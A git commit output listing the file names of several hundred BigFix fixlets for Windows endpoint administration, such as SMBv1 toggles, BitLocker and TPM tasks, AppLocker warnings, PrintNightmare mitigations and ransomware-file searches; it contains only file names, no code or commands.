 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Configure Execution Policy (632).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Configure Execution Policy (74).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Configure Internet Explorer Compatibility List for Currently Logged On User (647).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Configure Registered Organization and Owner (86).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Configure TCP_ MaxUserPort to 60000 (3938).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Configure TCP_ MaxUserPort to 60000.bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Configure TCP_ TcpTimedWaitDelay to 30 seconds (3937).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Configure Windows Firewall_ Allow Remote Desktop (3974).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Configure Windows Firewall_ Allow Remote Desktop.bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Create Desktop Shortcut (PowerShell) (25589).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Create Desktop shortcut in User Profile if missing (720).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Create LS alias for DIR command - Windows (24046).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Create _Open with Notepad_ Context Menu item - Windows (25531).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Custom Patch_Uninstall KB3004394 to clear relevance for KB3024777 (3979).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Custom Task - Add account to local administrators (3656).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/CustomPatch - KB3009008 - Disable SSLv3 in Per-User Internet Explorer settings using ActiveSetup (POODLE) (3914).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/DISM Inventory (1420).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Delete Identity Finder temp file if one exists over 2GB in size (1415).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Delete NAME_OF_NETWORK WiFi Profile - Windows (6171).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Delete large Dell Driver folder from systems with low free space (721).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Delete start menu shortcuts containing _uninstall_ (3657).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Deploy - Windows Management Framework - 4.0 - Windows (23565).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Deploy Microsoft Office 2011 Update 14.3.5 (2531).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Deploy Microsoft Office 2011 Update 14.3.6 (2539).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Designate ALWAYS On Profile (2611).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Device Control (24645).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Disable Administrator Account (99).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Disable AutoAdminLogon (740).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Disable IE Compatibility Mode for All Websites for Currently Logged On User (646).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Disable Microsoft CEIP (3899).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Disable Named Pipes (108).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Disable Named Pipes (642).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Disable NetBios On All Network Adaptors (Requires Restart) (27372).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Disable Remote Desktop (RDP) (659).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Disable SMB protocols on the SMB server - Windows 8 and Windows Server 2012 (24318).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Disable SMBv1 Server - Windows 7, Windows Server 2008r2, Windows Vista, Windows Server 2008 (24314).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Disable SMBv1 Service - Windows (23443).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Disable SMBv1 protocols on the SMB client - Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, Windows 8, and Windows Server 2012 (24316).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Disable Skype Auto-update - Improved (3662).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Disable Skype start with windows (727).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Disable Solution to CVE-2017-8529 - Windows 7 SP1 _ 8.1 _ 10 _ Windows Server 2008 SP2 _ 2008 R2 SP1 _ 2012 _ 2012 R2 _ 2016 (24650).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Disable UAC (1376).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Disable UAC (26610).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Disable Wake-from-Standby by Magic Packet - Windows XP_Vista_Win7_2008 and Mac OS 10.4_10.5_10.6_10.7 (310).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Disable Windows Update (26611).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Disable inactive users (2549).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Disable inactive users (3873).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Diskpart Repartition - Shrink C_ Partition & Create M_ Partition (25433).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Enable Administrator Account (615).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Enable IE Compatibility Mode for All Websites for Currently Logged On User (645).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Enable Microsoft-Windows-Subsystem-Linux (Ubuntu BASH) - Windows Features (20682).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Enable Named Pipes (107).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Enable Named Pipes (641).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Enable NetFx3 - .NET 2 & 3 - Windows Features (22635).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Enable Remote Desktop (3872).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Enable Remote Desktop (RDP) (2458).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Enable SMB protocols on the SMB server - Windows 8 and Windows Server 2012 (24319).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Enable SMBv1 Server - Windows 7, Windows Server 2008r2, Windows Vista, Windows Server 2008 (24315).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Enable SMBv1 protocols on the SMB client - Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, Windows 8, and Windows Server 2012 (24317).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Enable Solution to CVE-2017-8529 - Windows 7 SP1 _ 8.1 _ 10 _ Windows Server 2008 SP2 _ 2008 R2 SP1 _ 2012 _ 2012 R2 _ 2016 (24651).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Enable TRIM on Win7 for SSDs (1385).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Enable UAC (1377).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Enable Windows Automatic Updates (97).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/End of Support - Unsupported Windows OS (25452).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Enforce Admin Users Compliance (25547).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on C Drive (24331).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on D Drive (24332).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on E Drive (24333).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on F Drive (24334).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on G Drive (24336).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on H Drive (24337).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on I Drive (24338).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on J Drive (24339).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on K Drive (24340).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on L Drive (24341).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on M Drive (24342).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on N Drive (24343).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on O Drive (24344).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on P Drive (24345).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on X Drive (24346).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on Y Drive (24347).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Fix Skype shortcut missing from Start Menu (741).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Fix Unquoted Registry Paths (24886).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Fix WMI Errors (3652).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Force Enable TLS 1.0, SSL 2.0 and SSL 3.0 in Internet Explorer (652).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Force GP Update for Computer and Reboot (651).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Generate Local Group Policy Registry.pol info to Registry (Policy) 1.1 (22387).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Generate PowerCFG Energy Report - Windows (6040).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Get AD Description (3755).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Get AD Location (3756).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Gracefully install SMB v1 - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016 (24321).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Gracefully install SMB v1 Client - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016 (24323).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Gracefully remove SMB v1 - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016 (24320).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Gracefully remove SMB v1 Client - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016 (24322).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/HCL Labs_  Run as Local User without or Without Elevation (Interactive) (26940).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/HCL Labs_  Run as Local User without or Without Elevation (Interactive) (26941).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Install Microsoft .NET Framework 2.0 Service Pack 2 (106).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Install Microsoft .NET Framework 3.5 (104).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Install Microsoft .NET Framework 4 (3626).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Install new wifi certificate - Windows (6247).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Install_ Debug Diagnostic Tool v2 Update 1     TODO_ Add Relevance (6061).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Install_Update_ Debug Diagnostic Tool v2 Update 1 - Windows (6063).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current Authorized Requestor to Remote Desktop Users - Windows (22607).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current Authorized Requestor to Temporary Administrators - Windows (24153).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Administrators - Windows (24405).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Administrators Temporarily - Windows (21369).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Authorized Requestors - Windows (24154).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Remote Desktop Users - Windows (24406).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Temporary Administrators - Windows (24155).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Gold Image Hashes to Authorized Files - Windows (21897).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Permanent Administrators to Authorized Requestors - Windows (24156).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Analyze Application Usage - Windows (21122).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Applocker Rule Creation From Blocks and Warnings - Windows (21336).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Configuration Probe - Windows (20701).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Encrypt Secondary Volume - Windows (21696).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Encrypt System Volume - Windows (23093).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Recovery Password Backup to Active Directory - Windows (23097).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Recovery Password Probe - Windows (21335).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Refresh System Drive Encryption - Windows (24097).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Resume System Drive Encryption - Windows (24111).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Suspend System Drive Encryption - Windows (24112).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Certificate Store Probe - Windows (24040).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Cleanup User Profiles older than 14 days - Windows (24041).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Cleanup User Profiles older than 30 days - Windows (24042).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Cleanup User Profiles older than 60 days - Windows (24043).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Clear TPM using Physical Presence - Windows (24044).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Clear TPM using provided Owner Authorization - Windows (24113).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Clear TPM using saved Owner Authorization - Windows (24114).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Commit Cached Applocker Rules - Windows (20716).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Convert Permanent Administrators to Temporary Administrators - Windows (24157).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Convert Permanent Administrators who are Authorized Requestors to Temporary Administrators - Windows (24158).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Defragement and Optimize Drives - Windows (23382).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Delete Application Usage Log - Windows (21052).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Delete Legacy Application Usage Log - Windows (21059).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Disk Cleanup - Windows (21628).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Group Policy Refresh - Windows (22887).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Join Active Directory Domain - Windows (23387).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Kernel Kext Cache Reset - Mac (20530).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - MBR2GPT Convert MBR to GPT - Windows (23810).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - MBR2GPT Validate MBR to GPT - Windows (23811).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Power Efficiency Probe - Windows (21716).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Power Efficiency Probe - Windows (21726).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Provision Trusted Platform Module - Windows (23094).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Current User from Administrators - Windows (24407).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Current User from Authorized Requestors - Windows (24159).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Current User from Remote Desktop Users - Windows (24408).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Current User from Temporary Administrators - Windows (24160).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Expired Users from Authorized Requestors - Windows (24161).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Expired Users from Temporary Administrators - Windows (24162).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Reset Local Group Policy - Windows (22647).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Sync Client Clock - Windows (24110).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - WMI Repository Reset - Windows (22648).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Windows Cached Credentials Probe - Windows (20768).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Invoke - Windows Update Troubleshooter - Windows (21363).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Join Computer to domain - wmic (26947).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/KB2731771_ New APIs for conversion between local time and UTC - Windows 7 (x86 and x64) and Windows Server 2008r2 (2592).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/KB2953095 - Disable RTF processing in MS Word (3741).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Known issues for Windows Server and_or Console upgrades - Tivoli Endpoint Manager version 8.1.634.0 (153).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Known issues for Windows Server and_or Console upgrades - Trend Micro Endpoint Security Platform version 8.1.634.0 (129).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/LGPOv3.0 Example - Set Security Event Log Max Size to 80 MB via Local Group Policy (26933).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/List Offline Files (PowerShell) (644).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Lock Screen - Windows (23995).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Lock computer multiple options (26856).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Locky malware detection (9275).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Log Unique SMBv1 Connection Server Names - Windows (23554).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Look for Wanna Cry encrypted files on the C_ drive - v1.1 (24312).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Net Logon - Disable Debug Logging (1410).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Net Logon - Enable Debug Logging (1409).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Nuke IPv6 - Windows (27385).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/OLDER Version_ Create LS alias for DIR command - Windows (20414).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Outlook Profile Reset (24867).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Output Drivers using Driverquery - Windows (6060).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Output Windows Update Results - Windows (23123).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/PC Narcolepsy_ Set System Unattended Sleep Timeout - Windows Vista_7 (312).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/PC Narcolepsy_ Set System Unattended Sleep Timeout - Windows Vista_7_8 - altered to set defaults to 35min - testing (1419).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Periodically decode contents of WindowsUpdate.log - Windows NOT WORKING (10608).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Pin Calc to Windows 7 Start Menu (677).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Pin Calc to Windows 7 Taskbar (678).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/PointAndPrint Mitigation for Printnightmare vulnerability (26861).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Powershell - Assign System Account Folder Rights (Prompt for Path) (26609).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Powershell Computer Rename (Prompt) (26604).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Registry.pol Corruption Fix (27373).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/RemotePrint Disable Mitigation for Printnightmare vulnerability (26862).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Remove MSXML 4.0 SP2 and 3 and updates with msiexec (26634).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Remove Scheduled Wake from Standby - those not created by wizard (2528).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Remove XPS Viewer (648).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Remove _Last Man Standing_ Power Scheme (21436).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Remove and deactivate Windows license (25208).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Remove logged in user from local Administrators group (24889).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Rename Windows Computer (1393).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Repair WMI (676).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Replace IP in hosts file on Windows (26953).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Revoke eDellRoot Certificate - Enable Workaround (6286).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Roll Back_ MS11-021 (KB2501584) (1412).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Rollback Internet Explorer to version 9 (3706).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Rollback Patch Task_ KB2871997  - Fix potential Kerberos problem - Windows7+ (3783).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Rollback Patch Task_ KB971033 (26600).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Run a Full Disk Cleanup (6133).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Run_ PowerShell Script - Windows - TEMPLATE (3860).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Run_ produkey - recover Microsoft product keys - Windows (3941).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Secedit Example_ Windows Account Lockout_ 15_10_10 (27000).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Set Default Profile Picture - Windows 10 (25579).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Set Display Resolution to Maximum Resolution (27420).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Set Hostname and Local Subnet Name to Sharing Name V2 - Mac (3649).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Set LanmanWorkstation service to NOT depend on SMBv1 - Windows (23441).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Set MTU to 1400 (2456).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Set Service tzautoupdate to Auto - Windows (24613).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Set Service tzautoupdate to DelayedAutoStart - Windows (24612).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Set Service tzautoupdate to demand - Windows (24611).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Set Service tzautoupdate to disabled - Windows (24610).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Set Timezone - Windows (2613).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Set up collection of Windows telemetry data for Upgrade Analytics Preview - Windows (21118).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Software Distribution - Deploy_ Windows Update KB917607 - WinHlp32.exe (1364).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Start and Enable Windows Service (26632).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Start the DCOM Launcher Service (9282).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Start the RPC EndPoint Mapper Service (9283).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Start the Remote Procedure Call Service (9284).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Start the Remote Registry Service (9286).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Start the Windows Management Instrumentation Service (9285).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Stop and disable Print Spooler service (26914).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/System Restore Off _ Disable (20643).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/TASK_ Change System Time (773).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/TROUBLESHOOTING_ Run System File Checker tool - SFC _scannow (6038).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/TROUBLESHOOTING_ Volume Snapshot Service - VSS - Backups (6043).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Take Registry Ownership and configure DCOM permissions for RunTimeBroker AppID {9CA88EE3-ACB7-47c8-AFC4-AB702511C276} (Win10_2016) (TEST!!!) (export) (25565).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Take Screenshot - Windows (21898).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Testing PrintNightmare Spooler Disable mitigation (26860).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Track Primary User v2.8 (2533).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Troubleshooting_ Reset Windows Update, Pending Updates, and DISM Repair (27344).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/UPDATE_ Microsoft .NET Framework 4.8 Available - Windows 7 SP1 _ Windows 8.1 _ Windows 10 _ Windows Server 2008 R2 SP1 _ Windows Server 2012 _ Windows Server 2012 R2 _ Windows Server 2016 _ Windows Server 2019 (26631).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/UnSet Service tzautoupdate triggers (Trigger Start) - Windows (24614).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Uninstall_  Internet-Explorer 11 (Windows 64BIT) (26938).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Unjoin Domain on Windows Computer - wmic (26948).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Unmount PST Files from Outlook (26642).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Update Windows Defender Virus Definitions - v1.247.1082.0 - 64bit - Windows (24602).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Update Windows Experience Index - WinSAT (6045).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Upload DISM.txt (1049).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/WARNING_ Possible Memory Leak in ITM OS Client (4013).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/WARNING_ Possible Memory Leak in ITM OS Client (4014).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/WUAUSERV Enable (21611).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker Application Identity service may not be running (22654).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker Rules exist but AppIDSvc is stopped - Windows (22655).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker Rules exist but no Enforcement Mode is Set - Windows (20664).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker cannot run on non-enterprise versions of Windows (20223).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker maximum event log size may be too small (20583).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - Bitlocker Recovery Keys stored on Unencrypted Drive - Windows (20584).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - CBS Log files are too large to compress - Windows (23431).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - Control+Alt+Delete Injection may not be allowed (23558).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - Files exist in Dell_Drivers folder of System Drive - Windows (21631).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - Files exist in Drivers folder of System Drive - Windows (21632).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - Files exist in Logs folder of System Drive - Windows (21633).bes
 create mode 100644 Sites/Windows Management/Fixlets/Fixlets/Warning - Files exist in adobeTemp folder of System Drive - Windows (21634).bes
